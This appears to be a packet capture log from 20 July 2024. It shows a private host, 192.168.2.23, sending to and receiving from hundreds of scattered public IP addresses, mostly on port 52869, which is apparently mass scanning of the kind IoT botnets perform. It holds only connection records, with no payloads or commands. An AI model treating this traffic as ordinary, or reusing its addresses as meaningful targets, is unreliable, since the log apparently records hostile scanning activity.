Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	87.137.214.123
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	43.227.14.32
Jul 20, 2024 23:00:56.782898903 CEST	52869	33453	174.173.119.28	192.168.2.23
Jul 20, 2024 23:00:56.782913923 CEST	52869	33453	145.65.220.145	192.168.2.23
Jul 20, 2024 23:00:56.782928944 CEST	52869	33453	54.220.190.251	192.168.2.23
Jul 20, 2024 23:00:56.782943964 CEST	52869	33453	87.151.140.12	192.168.2.23
Jul 20, 2024 23:00:56.782959938 CEST	52869	33453	201.232.146.36	192.168.2.23
Jul 20, 2024 23:00:56.782974958 CEST	52869	33453	109.242.144.132	192.168.2.23
Jul 20, 2024 23:00:56.782989025 CEST	52869	33453	156.110.250.173	192.168.2.23
Jul 20, 2024 23:00:56.783004045 CEST	52869	33453	96.175.236.254	192.168.2.23
Jul 20, 2024 23:00:56.783019066 CEST	52869	33453	1.64.56.196	192.168.2.23
Jul 20, 2024 23:00:56.783034086 CEST	52869	33453	92.207.59.33	192.168.2.23
Jul 20, 2024 23:00:56.783050060 CEST	52869	33453	76.221.199.62	192.168.2.23
Jul 20, 2024 23:00:56.783063889 CEST	52869	33453	72.155.161.202	192.168.2.23
Jul 20, 2024 23:00:56.783078909 CEST	52869	33453	178.236.97.44	192.168.2.23
Jul 20, 2024 23:00:56.783093929 CEST	52869	33453	143.193.242.67	192.168.2.23
Jul 20, 2024 23:00:56.783108950 CEST	52869	33453	128.144.39.227	192.168.2.23
Jul 20, 2024 23:00:56.783123970 CEST	52869	33453	193.145.185.252	192.168.2.23
Jul 20, 2024 23:00:56.783138037 CEST	52869	33453	219.215.149.239	192.168.2.23
Jul 20, 2024 23:00:56.783152103 CEST	52869	33453	113.26.51.169	192.168.2.23
Jul 20, 2024 23:00:56.783166885 CEST	52869	33453	135.92.41.213	192.168.2.23
Jul 20, 2024 23:00:56.783193111 CEST	52869	33453	180.72.76.133	192.168.2.23
Jul 20, 2024 23:00:56.783210039 CEST	52869	33453	57.53.163.73	192.168.2.23
Jul 20, 2024 23:00:56.783225060 CEST	52869	33453	78.175.224.255	192.168.2.23
Jul 20, 2024 23:00:56.783238888 CEST	52869	33453	151.127.224.207	192.168.2.23
Jul 20, 2024 23:00:56.783255100 CEST	52869	33453	34.31.99.9	192.168.2.23
Jul 20, 2024 23:00:56.783271074 CEST	52869	33453	163.237.229.155	192.168.2.23
Jul 20, 2024 23:00:56.783284903 CEST	52869	33453	63.79.183.156	192.168.2.23
Jul 20, 2024 23:00:56.783299923 CEST	52869	33453	123.1.154.33	192.168.2.23
Jul 20, 2024 23:00:56.783313990 CEST	52869	33453	1.105.65.16	192.168.2.23
Jul 20, 2024 23:00:56.783328056 CEST	52869	33453	66.227.30.88	192.168.2.23
Jul 20, 2024 23:00:56.783343077 CEST	52869	33453	2.190.215.74	192.168.2.23
Jul 20, 2024 23:00:56.783358097 CEST	52869	33453	168.73.64.175	192.168.2.23
Jul 20, 2024 23:00:56.783374071 CEST	52869	33453	52.163.255.26	192.168.2.23
Jul 20, 2024 23:00:56.783389091 CEST	52869	33453	104.151.210.242	192.168.2.23
Jul 20, 2024 23:00:56.783404112 CEST	52869	33453	132.162.239.115	192.168.2.23
Jul 20, 2024 23:00:56.783418894 CEST	52869	33453	19.11.33.252	192.168.2.23
Jul 20, 2024 23:00:56.783433914 CEST	52869	33453	201.91.212.112	192.168.2.23
Jul 20, 2024 23:00:56.783448935 CEST	52869	33453	128.99.12.70	192.168.2.23
Jul 20, 2024 23:00:56.783466101 CEST	52869	33453	17.180.55.102	192.168.2.23
Jul 20, 2024 23:00:56.783479929 CEST	52869	33453	100.139.82.58	192.168.2.23
Jul 20, 2024 23:00:56.783494949 CEST	52869	33453	12.111.146.90	192.168.2.23
Jul 20, 2024 23:00:56.783509970 CEST	52869	33453	35.181.241.197	192.168.2.23
Jul 20, 2024 23:00:56.783510923 CEST	33453	52869	192.168.2.23	172.97.184.195
Jul 20, 2024 23:00:56.783510923 CEST	33453	52869	192.168.2.23	91.233.41.28
Jul 20, 2024 23:00:56.783512115 CEST	33453	52869	192.168.2.23	164.236.243.93
Jul 20, 2024 23:00:56.783512115 CEST	33453	52869	192.168.2.23	154.97.74.140
Jul 20, 2024 23:00:56.783512115 CEST	33453	52869	192.168.2.23	119.8.134.128
Jul 20, 2024 23:00:56.783512115 CEST	33453	52869	192.168.2.23	135.110.213.163
Jul 20, 2024 23:00:56.783512115 CEST	33453	52869	192.168.2.23	44.181.179.103
Jul 20, 2024 23:00:56.783512115 CEST	33453	52869	192.168.2.23	99.2.133.89
Jul 20, 2024 23:00:56.783524990 CEST	52869	33453	25.13.30.197	192.168.2.23
Jul 20, 2024 23:00:56.783541918 CEST	52869	33453	204.78.54.231	192.168.2.23
Jul 20, 2024 23:00:56.783559084 CEST	52869	33453	216.177.70.0	192.168.2.23
Jul 20, 2024 23:00:56.783575058 CEST	52869	33453	169.110.124.153	192.168.2.23
Jul 20, 2024 23:00:56.783588886 CEST	52869	33453	20.218.206.188	192.168.2.23
Jul 20, 2024 23:00:56.783603907 CEST	52869	33453	168.219.235.176	192.168.2.23
Jul 20, 2024 23:00:56.783617973 CEST	52869	33453	150.87.117.207	192.168.2.23
Jul 20, 2024 23:00:56.783632040 CEST	52869	33453	95.158.231.23	192.168.2.23
Jul 20, 2024 23:00:56.783647060 CEST	52869	33453	211.85.128.187	192.168.2.23
Jul 20, 2024 23:00:56.783662081 CEST	52869	33453	132.52.65.135	192.168.2.23
Jul 20, 2024 23:00:56.783675909 CEST	52869	33453	83.23.71.253	192.168.2.23
Jul 20, 2024 23:00:56.783690929 CEST	52869	33453	142.134.82.55	192.168.2.23
Jul 20, 2024 23:00:56.783705950 CEST	52869	33453	76.118.156.59	192.168.2.23
Jul 20, 2024 23:00:56.783720970 CEST	52869	33453	131.135.181.102	192.168.2.23
Jul 20, 2024 23:00:56.783735991 CEST	52869	33453	189.165.74.130	192.168.2.23
Jul 20, 2024 23:00:56.783750057 CEST	52869	33453	45.183.97.202	192.168.2.23
Jul 20, 2024 23:00:56.783765078 CEST	52869	33453	72.56.162.11	192.168.2.23
Jul 20, 2024 23:00:56.783780098 CEST	52869	33453	102.202.90.159	192.168.2.23
Jul 20, 2024 23:00:56.783795118 CEST	52869	33453	70.174.189.216	192.168.2.23
Jul 20, 2024 23:00:56.783812046 CEST	52869	33453	34.121.126.233	192.168.2.23
Jul 20, 2024 23:00:56.783827066 CEST	52869	33453	20.137.120.97	192.168.2.23
Jul 20, 2024 23:00:56.783840895 CEST	52869	33453	145.203.105.197	192.168.2.23
Jul 20, 2024 23:00:56.783855915 CEST	52869	33453	134.161.246.64	192.168.2.23
Jul 20, 2024 23:00:56.783870935 CEST	52869	33453	197.235.166.187	192.168.2.23
Jul 20, 2024 23:00:56.783888102 CEST	52869	33453	13.234.97.254	192.168.2.23
Jul 20, 2024 23:00:56.783905983 CEST	52869	33453	79.221.167.240	192.168.2.23
Jul 20, 2024 23:00:56.783921003 CEST	52869	33453	147.9.149.129	192.168.2.23
Jul 20, 2024 23:00:56.783935070 CEST	52869	33453	111.214.24.218	192.168.2.23
Jul 20, 2024 23:00:56.783950090 CEST	52869	33453	52.254.110.44	192.168.2.23
Jul 20, 2024 23:00:56.783965111 CEST	52869	33453	125.2.193.255	192.168.2.23
Jul 20, 2024 23:00:56.783978939 CEST	52869	33453	136.33.82.2	192.168.2.23
Jul 20, 2024 23:00:56.783993959 CEST	52869	33453	23.22.173.183	192.168.2.23
Jul 20, 2024 23:00:56.784009933 CEST	52869	33453	139.51.48.182	192.168.2.23
Jul 20, 2024 23:00:56.784024954 CEST	52869	33453	139.57.235.97	192.168.2.23
Jul 20, 2024 23:00:56.784039021 CEST	52869	33453	108.11.135.7	192.168.2.23
Jul 20, 2024 23:00:56.784054041 CEST	52869	33453	80.2.143.109	192.168.2.23
Jul 20, 2024 23:00:56.784069061 CEST	52869	33453	179.69.185.54	192.168.2.23
Jul 20, 2024 23:00:56.784792900 CEST	33453	52869	192.168.2.23	210.116.25.221
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	221.226.241.204
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	139.37.94.236
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	40.55.203.85
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	103.18.195.93
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	170.225.184.185
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	65.136.207.183
Jul 20, 2024 23:00:56.784794092 CEST	33453	52869	192.168.2.23	47.65.72.63
Jul 20, 2024 23:00:56.785023928 CEST	33453	52869	192.168.2.23	68.46.168.107
Jul 20, 2024 23:00:56.785023928 CEST	33453	52869	192.168.2.23	159.70.111.204
Jul 20, 2024 23:00:56.785023928 CEST	33453	52869	192.168.2.23	139.21.143.158
Jul 20, 2024 23:00:56.785023928 CEST	33453	52869	192.168.2.23	115.225.187.157
Jul 20, 2024 23:00:56.785023928 CEST	33453	52869	192.168.2.23	23.225.3.54
Jul 20, 2024 23:00:56.785023928 CEST	33453	52869	192.168.2.23	111.160.194.136
Jul 20, 2024 23:00:56.785024881 CEST	33453	52869	192.168.2.23	164.251.43.137
Jul 20, 2024 23:00:56.785024881 CEST	33453	52869	192.168.2.23	60.208.170.61
Jul 20, 2024 23:00:56.785136938 CEST	33453	52869	192.168.2.23	168.229.219.185
Jul 20, 2024 23:00:56.785136938 CEST	33453	52869	192.168.2.23	27.181.35.71
Jul 20, 2024 23:00:56.785136938 CEST	33453	52869	192.168.2.23	4.114.3.131
Jul 20, 2024 23:00:56.785137892 CEST	33453	52869	192.168.2.23	58.116.31.11
Jul 20, 2024 23:00:56.785137892 CEST	33453	52869	192.168.2.23	70.148.71.209
Jul 20, 2024 23:00:56.785137892 CEST	33453	52869	192.168.2.23	130.190.148.15
Jul 20, 2024 23:00:56.785137892 CEST	33453	52869	192.168.2.23	174.56.72.194
Jul 20, 2024 23:00:56.785137892 CEST	33453	52869	192.168.2.23	167.190.71.17
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	85.29.15.167
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	24.48.255.182
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	145.65.220.145
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	156.110.250.173
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	76.221.199.62
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	193.145.185.252
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	219.215.149.239
Jul 20, 2024 23:00:56.786245108 CEST	33453	52869	192.168.2.23	113.26.51.169
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	19.228.54.138
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	147.145.136.53
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	54.110.88.191
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	106.248.98.2
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	155.218.125.209
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	199.148.201.175
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	191.110.132.103
Jul 20, 2024 23:00:56.786295891 CEST	33453	52869	192.168.2.23	49.129.212.65
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	141.31.223.242
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	105.183.167.212
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	5.53.123.92
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	133.46.67.74
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	44.188.193.15
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	25.174.179.115
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	141.204.146.101
Jul 20, 2024 23:00:56.786612034 CEST	33453	52869	192.168.2.23	120.229.223.182
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	124.96.226.180
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	155.61.198.49
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	80.157.49.163
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	27.25.11.117
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	39.219.173.221
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	109.99.20.37
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	145.135.47.206
Jul 20, 2024 23:00:56.787337065 CEST	33453	52869	192.168.2.23	109.51.229.142
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	77.5.21.229
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	201.140.4.49
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	65.187.134.17
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	68.66.59.187
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	147.160.118.204
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	1.108.244.147
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	151.51.122.130
Jul 20, 2024 23:00:56.787372112 CEST	33453	52869	192.168.2.23	74.49.118.25
Jul 20, 2024 23:00:56.787528038 CEST	52869	33453	133.11.175.28	192.168.2.23
Jul 20, 2024 23:00:56.787548065 CEST	52869	33453	125.76.171.252	192.168.2.23
Jul 20, 2024 23:00:56.787563086 CEST	52869	33453	148.111.135.210	192.168.2.23
Jul 20, 2024 23:00:56.787578106 CEST	52869	33453	57.238.29.59	192.168.2.23
Jul 20, 2024 23:00:56.787591934 CEST	52869	33453	113.247.22.221	192.168.2.23
Jul 20, 2024 23:00:56.787606955 CEST	52869	33453	203.251.130.24	192.168.2.23
Jul 20, 2024 23:00:56.787622929 CEST	52869	33453	74.121.38.207	192.168.2.23
Jul 20, 2024 23:00:56.787636995 CEST	52869	33453	142.52.69.246	192.168.2.23
Jul 20, 2024 23:00:56.787652969 CEST	52869	33453	67.128.244.178	192.168.2.23
Jul 20, 2024 23:00:56.787667990 CEST	52869	33453	71.190.123.243	192.168.2.23
Jul 20, 2024 23:00:56.787682056 CEST	52869	33453	71.254.240.118	192.168.2.23
Jul 20, 2024 23:00:56.787698030 CEST	52869	33453	160.40.123.49	192.168.2.23
Jul 20, 2024 23:00:56.787713051 CEST	52869	33453	81.251.201.243	192.168.2.23
Jul 20, 2024 23:00:56.787728071 CEST	52869	33453	148.19.201.55	192.168.2.23
Jul 20, 2024 23:00:56.787741899 CEST	52869	33453	67.7.192.95	192.168.2.23
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	135.92.41.213
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	78.175.224.255
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	34.31.99.9
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	63.79.183.156
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	1.105.65.16
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	52.163.255.26
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	201.91.212.112
Jul 20, 2024 23:00:56.787745953 CEST	33453	52869	192.168.2.23	128.99.12.70
Jul 20, 2024 23:00:56.787758112 CEST	52869	33453	195.130.128.184	192.168.2.23
Jul 20, 2024 23:00:56.787771940 CEST	52869	33453	39.232.72.49	192.168.2.23
Jul 20, 2024 23:00:56.787786961 CEST	52869	33453	154.11.34.104	192.168.2.23
Jul 20, 2024 23:00:56.787801981 CEST	52869	33453	83.250.254.40	192.168.2.23
Jul 20, 2024 23:00:56.787817001 CEST	52869	33453	132.198.221.150	192.168.2.23
Jul 20, 2024 23:00:56.787831068 CEST	52869	33453	69.71.238.165	192.168.2.23
Jul 20, 2024 23:00:56.787846088 CEST	52869	33453	213.171.145.125	192.168.2.23
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	12.167.30.124
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	51.239.69.95
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	66.232.135.107
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	192.176.229.93
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	120.131.114.209
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	104.199.169.136
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	192.133.145.182
Jul 20, 2024 23:00:56.787849903 CEST	33453	52869	192.168.2.23	174.173.119.28
Jul 20, 2024 23:00:56.787861109 CEST	52869	33453	65.101.123.198	192.168.2.23
Jul 20, 2024 23:00:56.787877083 CEST	52869	33453	43.91.38.163	192.168.2.23
Jul 20, 2024 23:00:56.787904978 CEST	52869	33453	148.94.230.112	192.168.2.23
Jul 20, 2024 23:00:56.787919998 CEST	52869	33453	4.76.224.238	192.168.2.23
Jul 20, 2024 23:00:56.787934065 CEST	52869	33453	180.166.121.95	192.168.2.23
Jul 20, 2024 23:00:56.787949085 CEST	52869	33453	193.94.235.184	192.168.2.23
Jul 20, 2024 23:00:56.787969112 CEST	52869	33453	134.89.58.180	192.168.2.23
Jul 20, 2024 23:00:56.787983894 CEST	52869	33453	209.155.228.1	192.168.2.23
Jul 20, 2024 23:00:56.787997961 CEST	52869	33453	170.64.72.13	192.168.2.23
Jul 20, 2024 23:00:56.788013935 CEST	52869	33453	179.205.56.53	192.168.2.23
Jul 20, 2024 23:00:56.788029909 CEST	52869	33453	222.128.222.38	192.168.2.23
Jul 20, 2024 23:00:56.788043976 CEST	52869	33453	58.30.6.229	192.168.2.23
Jul 20, 2024 23:00:56.788060904 CEST	52869	33453	17.113.8.126	192.168.2.23
Jul 20, 2024 23:00:56.788075924 CEST	52869	33453	45.81.243.55	192.168.2.23
Jul 20, 2024 23:00:56.788089991 CEST	52869	33453	24.16.249.119	192.168.2.23
Jul 20, 2024 23:00:56.788105011 CEST	52869	33453	14.56.224.250	192.168.2.23
Jul 20, 2024 23:00:56.788119078 CEST	52869	33453	111.120.6.195	192.168.2.23
Jul 20, 2024 23:00:56.788132906 CEST	52869	33453	69.71.161.160	192.168.2.23
Jul 20, 2024 23:00:56.788147926 CEST	52869	33453	58.74.148.95	192.168.2.23
Jul 20, 2024 23:00:56.788158894 CEST	33453	52869	192.168.2.23	154.189.238.8
Jul 20, 2024 23:00:56.788158894 CEST	33453	52869	192.168.2.23	115.139.249.139
Jul 20, 2024 23:00:56.788158894 CEST	33453	52869	192.168.2.23	136.90.95.3
Jul 20, 2024 23:00:56.788158894 CEST	33453	52869	192.168.2.23	137.230.50.87
Jul 20, 2024 23:00:56.788160086 CEST	33453	52869	192.168.2.23	208.98.113.85
Jul 20, 2024 23:00:56.788160086 CEST	33453	52869	192.168.2.23	19.135.230.178
Jul 20, 2024 23:00:56.788160086 CEST	33453	52869	192.168.2.23	72.249.234.206
Jul 20, 2024 23:00:56.788160086 CEST	33453	52869	192.168.2.23	91.207.18.148
Jul 20, 2024 23:00:56.788161993 CEST	52869	33453	53.172.133.29	192.168.2.23
Jul 20, 2024 23:00:56.788177013 CEST	52869	33453	53.10.119.110	192.168.2.23
Jul 20, 2024 23:00:56.788192034 CEST	52869	33453	152.90.112.51	192.168.2.23
Jul 20, 2024 23:00:56.788207054 CEST	52869	33453	147.61.50.49	192.168.2.23
Jul 20, 2024 23:00:56.788223028 CEST	52869	33453	13.21.178.206	192.168.2.23
Jul 20, 2024 23:00:56.788239002 CEST	52869	33453	163.67.4.87	192.168.2.23
Jul 20, 2024 23:00:56.788255930 CEST	52869	33453	170.84.59.241	192.168.2.23
Jul 20, 2024 23:00:56.788271904 CEST	52869	33453	27.166.196.109	192.168.2.23
Jul 20, 2024 23:00:56.788285971 CEST	52869	33453	73.82.39.70	192.168.2.23
Jul 20, 2024 23:00:56.788300991 CEST	52869	33453	154.55.40.7	192.168.2.23
Jul 20, 2024 23:00:56.788305998 CEST	33453	52869	192.168.2.23	188.125.94.207
Jul 20, 2024 23:00:56.788305998 CEST	33453	52869	192.168.2.23	205.123.120.105
Jul 20, 2024 23:00:56.788305998 CEST	33453	52869	192.168.2.23	73.63.7.22
Jul 20, 2024 23:00:56.788305998 CEST	33453	52869	192.168.2.23	35.152.19.220
Jul 20, 2024 23:00:56.788305998 CEST	33453	52869	192.168.2.23	220.112.54.246
Jul 20, 2024 23:00:56.788306952 CEST	33453	52869	192.168.2.23	158.98.187.222
Jul 20, 2024 23:00:56.788306952 CEST	33453	52869	192.168.2.23	111.113.55.54
Jul 20, 2024 23:00:56.788306952 CEST	33453	52869	192.168.2.23	35.50.148.141
Jul 20, 2024 23:00:56.788316011 CEST	52869	33453	172.3.173.126	192.168.2.23
Jul 20, 2024 23:00:56.788330078 CEST	52869	33453	205.83.242.63	192.168.2.23
Jul 20, 2024 23:00:56.788345098 CEST	52869	33453	211.14.73.80	192.168.2.23
Jul 20, 2024 23:00:56.788360119 CEST	52869	33453	211.130.231.62	192.168.2.23
Jul 20, 2024 23:00:56.788374901 CEST	52869	33453	5.61.211.49	192.168.2.23
Jul 20, 2024 23:00:56.788388968 CEST	52869	33453	104.216.61.7	192.168.2.23
Jul 20, 2024 23:00:56.788403988 CEST	52869	33453	70.225.119.3	192.168.2.23
Jul 20, 2024 23:00:56.788418055 CEST	52869	33453	109.222.42.16	192.168.2.23
Jul 20, 2024 23:00:56.788431883 CEST	52869	33453	113.150.8.20	192.168.2.23
Jul 20, 2024 23:00:56.788448095 CEST	52869	33453	179.212.46.232	192.168.2.23
Jul 20, 2024 23:00:56.788461924 CEST	52869	33453	92.162.129.76	192.168.2.23
Jul 20, 2024 23:00:56.788477898 CEST	52869	33453	119.111.170.111	192.168.2.23
Jul 20, 2024 23:00:56.788500071 CEST	52869	33453	114.180.89.73	192.168.2.23
Jul 20, 2024 23:00:56.788516045 CEST	52869	33453	36.78.212.103	192.168.2.23
Jul 20, 2024 23:00:56.788531065 CEST	52869	33453	142.34.184.106	192.168.2.23
Jul 20, 2024 23:00:56.788547993 CEST	52869	33453	58.187.153.16	192.168.2.23
Jul 20, 2024 23:00:56.788563013 CEST	52869	33453	190.3.185.248	192.168.2.23
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	97.235.133.177
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	183.62.49.146
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	151.105.216.154
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	208.249.213.138
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	190.210.172.139
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	82.50.208.202
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	142.189.253.190
Jul 20, 2024 23:00:56.788943052 CEST	33453	52869	192.168.2.23	220.70.84.75
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	87.151.140.12
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	201.232.146.36
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	109.242.144.132
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	1.64.56.196
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	92.207.59.33
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	72.155.161.202
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	178.236.97.44
Jul 20, 2024 23:00:56.789376020 CEST	33453	52869	192.168.2.23	143.193.242.67
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	17.180.55.102
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	100.139.82.58
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	25.13.30.197
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	216.177.70.0
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	169.110.124.153
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	132.52.65.135
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	83.23.71.253
Jul 20, 2024 23:00:56.789658070 CEST	33453	52869	192.168.2.23	189.165.74.130
Jul 20, 2024 23:00:56.790493011 CEST	33453	52869	192.168.2.23	128.144.39.227
Jul 20, 2024 23:00:56.790723085 CEST	33453	52869	192.168.2.23	40.237.199.171
Jul 20, 2024 23:00:56.790723085 CEST	33453	52869	192.168.2.23	136.185.52.29
Jul 20, 2024 23:00:56.790723085 CEST	33453	52869	192.168.2.23	54.220.190.251
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	131.241.199.180
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	115.67.107.201
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	144.50.119.201
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	99.185.208.75
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	118.229.110.118
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	82.132.45.241
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	205.185.43.251
Jul 20, 2024 23:00:56.791204929 CEST	33453	52869	192.168.2.23	161.229.11.215
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	45.183.97.202
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	70.174.189.216
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	34.121.126.233
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	20.137.120.97
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	145.203.105.197
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	79.221.167.240
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	111.214.24.218
Jul 20, 2024 23:00:56.791270018 CEST	33453	52869	192.168.2.23	52.254.110.44
Jul 20, 2024 23:00:56.791712999 CEST	33453	52869	192.168.2.23	84.224.134.220
Jul 20, 2024 23:00:56.791712999 CEST	33453	52869	192.168.2.23	164.150.49.222
Jul 20, 2024 23:00:56.791713953 CEST	33453	52869	192.168.2.23	190.2.223.191
Jul 20, 2024 23:00:56.791713953 CEST	33453	52869	192.168.2.23	204.127.192.204
Jul 20, 2024 23:00:56.791713953 CEST	33453	52869	192.168.2.23	111.240.159.157
Jul 20, 2024 23:00:56.791713953 CEST	33453	52869	192.168.2.23	147.194.102.88
Jul 20, 2024 23:00:56.791713953 CEST	33453	52869	192.168.2.23	173.38.169.237
Jul 20, 2024 23:00:56.792161942 CEST	33453	52869	192.168.2.23	94.50.121.198
Jul 20, 2024 23:00:56.792161942 CEST	33453	52869	192.168.2.23	99.136.157.100
Jul 20, 2024 23:00:56.792161942 CEST	33453	52869	192.168.2.23	201.113.123.251
Jul 20, 2024 23:00:56.792161942 CEST	33453	52869	192.168.2.23	163.91.22.99
Jul 20, 2024 23:00:56.792161942 CEST	48860	37215	192.168.2.23	157.115.56.95
Jul 20, 2024 23:00:56.792161942 CEST	33453	52869	192.168.2.23	196.97.212.90
Jul 20, 2024 23:00:56.792162895 CEST	33453	52869	192.168.2.23	220.193.74.158
Jul 20, 2024 23:00:56.792162895 CEST	33453	52869	192.168.2.23	5.128.237.130
Jul 20, 2024 23:00:56.792226076 CEST	52869	33453	146.52.202.172	192.168.2.23
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	148.2.182.221
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	66.44.96.233
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	8.8.5.44
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	145.48.36.24
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	103.39.249.170
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	178.60.137.139
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	125.2.68.242
Jul 20, 2024 23:00:56.792227030 CEST	33453	52869	192.168.2.23	180.150.47.36
Jul 20, 2024 23:00:56.792244911 CEST	52869	33453	49.93.141.76	192.168.2.23
Jul 20, 2024 23:00:56.792258978 CEST	52869	33453	196.26.250.145	192.168.2.23
Jul 20, 2024 23:00:56.792274952 CEST	52869	33453	123.49.75.211	192.168.2.23
Jul 20, 2024 23:00:56.792289972 CEST	52869	33453	92.211.102.55	192.168.2.23
Jul 20, 2024 23:00:56.792304993 CEST	52869	33453	113.96.55.65	192.168.2.23
Jul 20, 2024 23:00:56.792320013 CEST	52869	33453	27.153.103.145	192.168.2.23
